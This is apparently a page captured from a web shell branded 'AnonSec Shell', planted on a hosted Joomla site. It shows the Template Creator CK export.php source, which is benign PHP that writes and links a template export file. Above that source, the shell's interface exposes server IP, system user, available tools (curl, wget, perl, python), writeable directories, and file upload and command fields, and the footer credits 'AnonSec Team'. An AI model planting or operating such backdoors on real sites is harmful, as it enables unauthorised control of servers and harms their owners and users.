AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/new-saint-martin/administrator/components/com_templateck/interfaces/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/new-saint-martin/administrator/components/com_templateck/interfaces/export.php
<?php
/**
 * @name		Template Creator CK
 * @copyright	Copyright (C) since 2011. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
// No direct access to this file
defined('TCK_LOADED') or die('Restricted access');
jimport('joomla.filesystem.file');
\Joomla\CMS\HTML\HTMLHelper::_('stylesheet', 'templateck_template.css', 'administrator/components/com_templateck/assets/');
?>
<script language="javascript" type="text/javascript">
	Joomla.submitbutton = function(task)
	{

		if (task == 'cancel') {
			Joomla.submitform(task);
			return;
		}

	}

</script>

<?php
$path = TEMPLATECREATORCK_PROJECTS_PATH;
$exportfiledest = $path . DS . $this->template->name . '.tck';
$exportfiletext = json_encode($this->template);
$exportfiletext .= '||TCK||' . json_encode($this->mobiledata);
?>
<form action="<?php echo \Joomla\CMS\Router\Route::_('index.php'); ?>" enctype="multipart/form-data" method="post" name="adminForm" id="adminForm" class="form-validate">
	<?php
// create the file index.php
	if (!TCK_File::write($exportfiledest, $exportfiletext)) {
		$msg = '<p class="error">' . TCK_Text::_('CK_ERROR_CREATING_EXPORTFILE') . '</p>';
	} else {
		$msg = '<p class="successck">' . TCK_Text::_('CK_SUCCESS_CREATING_EXPORTFILE') . '</p>';
	}
	echo '<p>' . $msg . '</p>';

// create button to download the package
	echo '<p style="padding: 15px;"><a class="ckdownload" target="_blank" href="' . \Joomla\CMS\Uri\Uri::root() . 'components/com_templateck/projects/' . $this->template->name . '.tck">' . TCK_Text::_('CK_DOWNLOAD_GABARIT') . '</a></p>';
	?>
    <input type="hidden" name="option" value="com_templateck" />
    <input type="hidden" name="id" value="<?php echo $this->template->id; ?>" />
    <input type="hidden" name="task" value="" />
    <input type="hidden" name="controller" value="templateck" />
</form>

Anon7 - 2022
AnonSec Team